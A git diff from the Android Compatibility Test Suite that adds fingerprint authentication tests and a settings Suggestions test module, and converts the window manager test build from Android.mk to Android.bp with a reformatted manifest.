+        for (Map.Entry<Integer, SensorState> sensorEntry : sensorStates.sensorStates.entrySet()) {
+            for (Map.Entry<Integer, UserState> userEntry
+                    : sensorEntry.getValue().getUserStates().entrySet()) {
+                if (userEntry.getValue().numEnrolled != 0) {
+                    Log.w(TAG, "Cleaning up for sensor: " + sensorEntry.getKey()
+                            + ", user: " + userEntry.getKey());
+                    BiometricTestSession session =
+                            mFingerprintManager.createTestSession(sensorEntry.getKey());
+                    session.cleanupInternalState(userEntry.getKey());
+                    session.close();
+                }
+            }
+        }
+
+        mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testEnroll() throws Exception {
+        for (SensorProperties prop : mSensorProperties) {
+            try (BiometricTestSession session
+                         = mFingerprintManager.createTestSession(prop.getSensorId())){
+                testEnrollForSensor(session, prop.getSensorId());
+            }
+        }
+    }
+
+    private void testEnrollForSensor(BiometricTestSession session, int sensorId) throws Exception {
+        final int userId = 0;
+
+        session.startEnroll(userId);
+        mInstrumentation.waitForIdleSync();
+        Utils.waitForIdleService(this::getSensorStates);
+
+        session.finishEnroll(userId);
+        mInstrumentation.waitForIdleSync();
+        Utils.waitForIdleService(this::getSensorStates);
+
+        final SensorStates sensorStates = getSensorStates();
+
+        // The (sensorId, userId) has one finger enrolled.
+        assertEquals(1, sensorStates.sensorStates
+                .get(sensorId).getUserStates().get(userId).numEnrolled);
+    }
+
+    @Test
+    public void testAuthenticateFromForegroundActivity() throws Exception {
+        // Turn screen on and dismiss keyguard
+        UiDeviceUtils.pressWakeupButton();
+        UiDeviceUtils.pressUnlockButton();
+
+        // Manually keep track and close the sessions, since we want to enroll all sensors before
+        // requesting auth.
+        final List<BiometricTestSession> testSessions = new ArrayList<>();
+
+        final int userId = 0;
+        for (SensorProperties prop : mSensorProperties) {
+            BiometricTestSession session =
+                    mFingerprintManager.createTestSession(prop.getSensorId());
+            testSessions.add(session);
+
+            session.startEnroll(userId);
+            mInstrumentation.waitForIdleSync();
+            Utils.waitForIdleService(this::getSensorStates);
+
+            session.finishEnroll(userId);
+            mInstrumentation.waitForIdleSync();
+            Utils.waitForIdleService(this::getSensorStates);
+        }
+
+        final TestJournal journal = TestJournalContainer.get(AUTH_ON_CREATE_ACTIVITY);
+
+        // Launch test activity
+        launchActivity(AUTH_ON_CREATE_ACTIVITY);
+        mWmState.waitForActivityState(AUTH_ON_CREATE_ACTIVITY, WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+
+        // At least one sensor should be authenticating
+        assertFalse(getSensorStates().areAllSensorsIdle());
+
+        // Nothing happened yet
+        FingerprintCallbackHelper.State callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(0, callbackState.mNumAuthRejected);
+        assertEquals(0, callbackState.mNumAuthAccepted);
+        assertEquals(0, callbackState.mAcquiredReceived.size());
+        assertEquals(0, callbackState.mErrorsReceived.size());
+
+        // Auth and check again now
+        testSessions.get(0).acceptAuthentication(userId);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertTrue(callbackState.mErrorsReceived.isEmpty());
+        assertTrue(callbackState.mAcquiredReceived.isEmpty());
+        assertEquals(1, callbackState.mNumAuthAccepted);
+        assertEquals(0, callbackState.mNumAuthRejected);
+
+        // Cleanup
+        for (BiometricTestSession session : testSessions) {
+            session.close();
+        }
+    }
+
+    @Test
+    public void testRejectThenErrorFromForegroundActivity() throws Exception {
+        // Turn screen on and dismiss keyguard
+        UiDeviceUtils.pressWakeupButton();
+        UiDeviceUtils.pressUnlockButton();
+
+        // Manually keep track and close the sessions, since we want to enroll all sensors before
+        // requesting auth.
+        final List<BiometricTestSession> testSessions = new ArrayList<>();
+
+        final int userId = 0;
+        for (SensorProperties prop : mSensorProperties) {
+            BiometricTestSession session =
+                    mFingerprintManager.createTestSession(prop.getSensorId());
+            testSessions.add(session);
+
+            session.startEnroll(userId);
+            mInstrumentation.waitForIdleSync();
+            Utils.waitForIdleService(this::getSensorStates);
+
+            session.finishEnroll(userId);
+            mInstrumentation.waitForIdleSync();
+            Utils.waitForIdleService(this::getSensorStates);
+        }
+
+        final TestJournal journal = TestJournalContainer.get(AUTH_ON_CREATE_ACTIVITY);
+
+        // Launch test activity
+        launchActivity(AUTH_ON_CREATE_ACTIVITY);
+        mWmState.waitForActivityState(AUTH_ON_CREATE_ACTIVITY, WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+        FingerprintCallbackHelper.State callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+
+        // Fingerprint rejected
+        testSessions.get(0).rejectAuthentication(userId);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(1, callbackState.mNumAuthRejected);
+        assertEquals(0, callbackState.mNumAuthAccepted);
+        assertEquals(0, callbackState.mAcquiredReceived.size());
+        assertEquals(0, callbackState.mErrorsReceived.size());
+
+        // Send an acquire message
+        testSessions.get(0).notifyAcquired(userId, FingerprintManager.FINGERPRINT_ACQUIRED_PARTIAL);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(1, callbackState.mNumAuthRejected);
+        assertEquals(0, callbackState.mNumAuthAccepted);
+        assertEquals(1, callbackState.mAcquiredReceived.size());
+        assertEquals(FingerprintManager.FINGERPRINT_ACQUIRED_PARTIAL,
+                (int) callbackState.mAcquiredReceived.get(0));
+        assertEquals(0, callbackState.mErrorsReceived.size());
+
+        // Send an error
+        testSessions.get(0).notifyError(userId,
+                FingerprintManager.FINGERPRINT_ERROR_CANCELED);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(1, callbackState.mNumAuthRejected);
+        assertEquals(0, callbackState.mNumAuthAccepted);
+        assertEquals(1, callbackState.mAcquiredReceived.size());
+        assertEquals(FingerprintManager.FINGERPRINT_ACQUIRED_PARTIAL,
+                (int) callbackState.mAcquiredReceived.get(0));
+        assertEquals(1, callbackState.mErrorsReceived.size());
+        assertEquals(FingerprintManager.FINGERPRINT_ERROR_CANCELED,
+                (int) callbackState.mErrorsReceived.get(0));
+
+        // Authentication lifecycle is done
+        assertTrue(getSensorStates().areAllSensorsIdle());
+
+        // Cleanup
+        for (BiometricTestSession session : testSessions) {
+            session.close();
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/suggestions/Android.bp b/tests/framework/base/suggestions/Android.bp
new file mode 100644
index 0000000..9ce4ff4
--- /dev/null
+++ b/tests/framework/base/suggestions/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsSettingsSuggestionsTest",
+    defaults: ["cts_defaults"],
+    libs: ["android.test.runner"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "junit",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/framework/base/suggestions/AndroidManifest.xml b/tests/framework/base/suggestions/AndroidManifest.xml
new file mode 100644
index 0000000..85e7f34
--- /dev/null
+++ b/tests/framework/base/suggestions/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.service.settings.suggestions.cts"
+    android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.service.settings.suggestions.cts"
+        android:label="CTS tests of android.service.settings.suggestions">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/framework/base/suggestions/AndroidTest.xml b/tests/framework/base/suggestions/AndroidTest.xml
new file mode 100644
index 0000000..314acd5
--- /dev/null
+++ b/tests/framework/base/suggestions/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Settings Suggestions test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSettingsSuggestionsTest.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.service.settings.suggestions.cts" />
+    </test>
+</configuration>
diff --git a/tests/framework/base/suggestions/OWNERS b/tests/framework/base/suggestions/OWNERS
new file mode 100644
index 0000000..a64a049
--- /dev/null
+++ b/tests/framework/base/suggestions/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 27091
+tmfang@google.com
\ No newline at end of file
diff --git a/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
new file mode 100644
index 0000000..adac3b6
--- /dev/null
+++ b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.service.settings.suggestions;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
+import android.os.Parcel;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class SuggestionTest {
+    private static final String TEST_ID = "id";
+    private static final String TEST_TITLE = "title";
+    private static final String TEST_SUMMARY = "summary";
+
+    private Icon mIcon;
+    private PendingIntent mTestIntent;
+
+
+    @Before
+    public void setUp() {
+        final Context context = InstrumentationRegistry.getContext();
+        mTestIntent = PendingIntent.getActivity(context, 0 /* requestCode */,
+                new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
+        mIcon = Icon.createWithBitmap(Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888));
+    }
+
+    @Test
+    public void buildSuggestion_allFieldsShouldBeSet() {
+        final Suggestion suggestion = new Suggestion.Builder(TEST_ID)
+                .setTitle(TEST_TITLE)
+                .setSummary(TEST_SUMMARY)
+                .setIcon(mIcon)
+                .setPendingIntent(mTestIntent)
+                .build();
+
+        assertThat(suggestion.getId()).isEqualTo(TEST_ID);
+        assertThat(suggestion.getTitle()).isEqualTo(TEST_TITLE);
+        assertThat(suggestion.getSummary()).isEqualTo(TEST_SUMMARY);
+        assertThat(suggestion.getIcon()).isEqualTo(mIcon);
+        assertThat(suggestion.getFlags()).isEqualTo(0);
+        assertThat(suggestion.getPendingIntent()).isEqualTo(mTestIntent);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void buildSuggestion_emptyKey_shouldCrash() {
+        new Suggestion.Builder(null)
+                .setTitle(TEST_TITLE)
+                .setSummary(TEST_SUMMARY)
+                .setPendingIntent(mTestIntent)
+                .setIcon(mIcon)
+                .build();
+    }
+
+    @Test
+    public void buildSuggestion_fromParcelable() {
+        final Parcel parcel = Parcel.obtain();
+        final Suggestion oldSuggestion = new Suggestion.Builder(TEST_ID)
+                .setTitle(TEST_TITLE)
+                .setSummary(TEST_SUMMARY)
+                .setIcon(mIcon)
+                .setFlags(Suggestion.FLAG_HAS_BUTTON)
+                .setPendingIntent(mTestIntent)
+                .build();
+
+        oldSuggestion.writeToParcel(parcel, 0 /* flags */);
+        parcel.setDataPosition(0);
+        final Suggestion newSuggestion = Suggestion.CREATOR.createFromParcel(parcel);
+
+        assertThat(newSuggestion.getId()).isEqualTo(TEST_ID);
+        assertThat(newSuggestion.getTitle()).isEqualTo(TEST_TITLE);
+        assertThat(newSuggestion.getSummary()).isEqualTo(TEST_SUMMARY);
+        assertThat(newSuggestion.getIcon().toString()).isEqualTo(mIcon.toString());
+        assertThat(newSuggestion.getFlags())
+                .isEqualTo(Suggestion.FLAG_HAS_BUTTON);
+        assertThat(newSuggestion.getPendingIntent()).isEqualTo(mTestIntent);
+    }
+}
diff --git a/tests/framework/base/windowmanager/Android.bp b/tests/framework/base/windowmanager/Android.bp
index 9568ff5..4d00ee2 100644
--- a/tests/framework/base/windowmanager/Android.bp
+++ b/tests/framework/base/windowmanager/Android.bp
@@ -35,3 +35,45 @@
     name: "cts-wm-force-relayout-test-base",
     srcs: ["src/android/server/wm/ForceRelayoutTestBase.java"],
 }
+
+android_test {
+    name: "CtsWindowManagerDeviceTestCases",
+    defaults: ["cts_defaults"],
+
+    srcs: [
+        "src/**/*.java",
+        "alertwindowservice/src/**/*.java",
+        ":cts-wm-components",
+        ":CtsVerifierMockVrListenerServiceFiles",
+    ],
+
+    resource_dirs: ["res"],
+
+    asset_dirs: ["intent_tests"],
+
+    libs: ["android.test.runner.stubs"],
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "hamcrest-library",
+        "platform-test-annotations",
+        "cts-wm-util",
+        "CtsSurfaceValidatorLib",
+        "CtsMockInputMethodLib",
+        "metrics-helper-lib",
+        "truth-prebuilt",
+        "cts-wm-overlayapp-base",
+        "cts-wm-shared",
+        "platform-compat-test-rules",
+    ],
+
+    test_suites: [
+        "cts",
+        "general-tests",
+        "sts",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/framework/base/windowmanager/Android.mk b/tests/framework/base/windowmanager/Android.mk
deleted file mode 100644
index 39d0812..0000000
--- a/tests/framework/base/windowmanager/Android.mk
+++ /dev/null
@@ -1,53 +0,0 @@
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests optional
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-java-files-under, alertwindowservice/src) \
-    $(call all-named-files-under,Components.java, *) \
-    ../../../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java \
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/intent_tests
-
-LOCAL_PACKAGE_NAME := CtsWindowManagerDeviceTestCases
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    androidx.test.ext.junit \
-    androidx.test.rules \
-    hamcrest-library \
-    platform-test-annotations \
-    cts-wm-util \
-    CtsSurfaceValidatorLib \
-    CtsMockInputMethodLib \
-    metrics-helper-lib \
-
-LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests sts
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index ca0ea74..6ce8352 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -16,295 +16,298 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-          package="android.server.wm.cts"
-          android:targetSandboxVersion="2">
+     xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+     package="android.server.wm.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.READ_LOGS" />
-    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.READ_LOGS"/>
+    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.STOP_APP_SWITCHES" />
-    <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT" />
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.STOP_APP_SWITCHES"/>
+    <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
     <application android:label="CtsWindowManagerDeviceTestCases"
-            android:requestLegacyExternalStorage="true">
+         android:requestLegacyExternalStorage="true">
         <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MaxAspectRatioActivity"
-            android:label="MaxAspectRatioActivity"
-            android:maxAspectRatio="1.0"
-            android:resizeableActivity="false" />
+        <activity android:name="android.server.wm.AspectRatioTests$MaxAspectRatioActivity"
+             android:label="MaxAspectRatioActivity"
+             android:maxAspectRatio="1.0"
+             android:resizeableActivity="false"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MetaDataMaxAspectRatioActivity"
-            android:label="MetaDataMaxAspectRatioActivity"
-            android:resizeableActivity="false">
-            <meta-data
-                android:name="android.max_aspect"
-                android:value="1.0" />
+        <activity android:name="android.server.wm.AspectRatioTests$MetaDataMaxAspectRatioActivity"
+             android:label="MetaDataMaxAspectRatioActivity"
+             android:resizeableActivity="false">
+            <meta-data android:name="android.max_aspect"
+                 android:value="1.0"/>
         </activity>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MaxAspectRatioResizeableActivity"
-            android:label="MaxAspectRatioResizeableActivity"
-            android:maxAspectRatio="1.0"
-            android:resizeableActivity="true" />
+        <activity android:name="android.server.wm.AspectRatioTests$MaxAspectRatioResizeableActivity"
+             android:label="MaxAspectRatioResizeableActivity"
+             android:maxAspectRatio="1.0"
+             android:resizeableActivity="true"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MaxAspectRatioUnsetActivity"
-            android:label="MaxAspectRatioUnsetActivity"
-            android:resizeableActivity="false" />
+        <activity android:name="android.server.wm.AspectRatioTests$MaxAspectRatioUnsetActivity"
+             android:label="MaxAspectRatioUnsetActivity"
+             android:resizeableActivity="false"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MinAspectRatioActivity"
-            android:label="MinAspectRatioActivity"
-            android:minWidth="1dp"
-            android:minAspectRatio="3.0"
-            android:resizeableActivity="false" />
+        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioActivity"
+             android:label="MinAspectRatioActivity"
+             android:minWidth="1dp"
+             android:minAspectRatio="3.0"
+             android:resizeableActivity="false"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MinAspectRatioResizeableActivity"
-            android:label="MinAspectRatioResizeableActivity"
-            android:minWidth="1dp"
-            android:minAspectRatio="3.0"
-            android:resizeableActivity="true" />
+        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioResizeableActivity"
+             android:label="MinAspectRatioResizeableActivity"
+             android:minWidth="1dp"
+             android:minAspectRatio="3.0"
+             android:resizeableActivity="true"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MinAspectRatioUnsetActivity"
-            android:label="MinAspectRatioUnsetActivity"
-            android:resizeableActivity="false" />
+        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioUnsetActivity"
+             android:label="MinAspectRatioUnsetActivity"
+             android:resizeableActivity="false"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MinAspectRatioLandscapeActivity"
-            android:label="MinAspectRatioLandscapeActivity"
-            android:minWidth="1dp"
-            android:minAspectRatio="3.0"
-            android:resizeableActivity="false"
-            android:screenOrientation="landscape" />
+        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioLandscapeActivity"
+             android:label="MinAspectRatioLandscapeActivity"
+             android:minWidth="1dp"
+             android:minAspectRatio="3.0"
+             android:resizeableActivity="false"
+             android:screenOrientation="landscape"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MinAspectRatioPortraitActivity"
-            android:label="MinAspectRatioPortraitActivity"
-            android:minWidth="1dp"
-            android:minAspectRatio="3.0"
-            android:resizeableActivity="false"
-            android:screenOrientation="portrait" />
-
-        <activity android:name="android.server.wm.ActivityManagerTestBase$SideActivity"
-                  android:resizeableActivity="true"
-                  android:taskAffinity="nobody.but.SideActivity"/>
+        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioPortraitActivity"
+             android:label="MinAspectRatioPortraitActivity"
+             android:minWidth="1dp"
+             android:minAspectRatio="3.0"
+             android:resizeableActivity="false"
+             android:screenOrientation="portrait"/>
 
         <activity android:name="android.server.wm.ActivityManagerTestBase$ConfigChangeHandlingActivity"
-            android:resizeableActivity="true"
-            android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen" />
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
 
-        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$FirstActivity" />
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$FirstActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$ThirdActivity"/>
 
-        <activity
-            android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TranslucentActivity"
-            android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SideActivity"
+                  android:taskAffinity="nobody.but.SideActivity"/>
 
-        <activity
-            android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondTranslucentActivity"
-            android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TranslucentActivity"
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondTranslucentActivity"
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$CallbackTrackingActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondCallbackTrackingActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TranslucentCallbackTrackingActivity"
-                  android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
 
-        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$ShowWhenLockedCallbackTrackingActivity" />
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$ShowWhenLockedCallbackTrackingActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondProcessCallbackTrackingActivity"
-                  android:process=":SecondProcess"
-                  android:exported="true"/>
+             android:process=":SecondProcess"
+             android:exported="true"/>
 
         <provider android:name="android.server.wm.lifecycle.LifecycleLog"
-                  android:authorities="android.server.wm.lifecycle.logprovider"
-                  android:exported="true" />
+             android:authorities="android.server.wm.lifecycle.logprovider"
+             android:exported="true"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$LaunchForResultActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$ResultActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SingleTopActivity"
-                  android:launchMode="singleTop" />
+             android:launchMode="singleTop"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$ConfigChangeHandlingActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density" />
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$PipActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:supportsPictureInPicture="true"/>
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:supportsPictureInPicture="true"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$AlwaysFocusablePipActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  androidprv:alwaysFocusable="true"
-                  android:exported="true"/>
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             androidprv:alwaysFocusable="true"
+             android:exported="true"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SlowActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$NoDisplayActivity"
-                  android:theme="@android:style/Theme.NoDisplay" />
+             android:theme="@android:style/Theme.NoDisplay"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$DifferentAffinityActivity"
-                  android:taskAffinity="nobody.but.DifferentAffinityActivity" />
+             android:taskAffinity="nobody.but.DifferentAffinityActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TransitionSourceActivity"
-                  android:theme="@style/window_activity_transitions" />
+             android:theme="@style/window_activity_transitions"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TransitionDestinationActivity"
-                  android:theme="@style/window_activity_transitions" />
+             android:theme="@style/window_activity_transitions"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$LaunchForwardResultActivity"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TrampolineActivity"/>
 
         <activity android:name="android.server.wm.MultiDisplayActivityLaunchTests$ImmediateLaunchTestActivity"
-                  android:allowEmbedded="true" />
+             android:allowEmbedded="true"/>
 
         <activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen" />
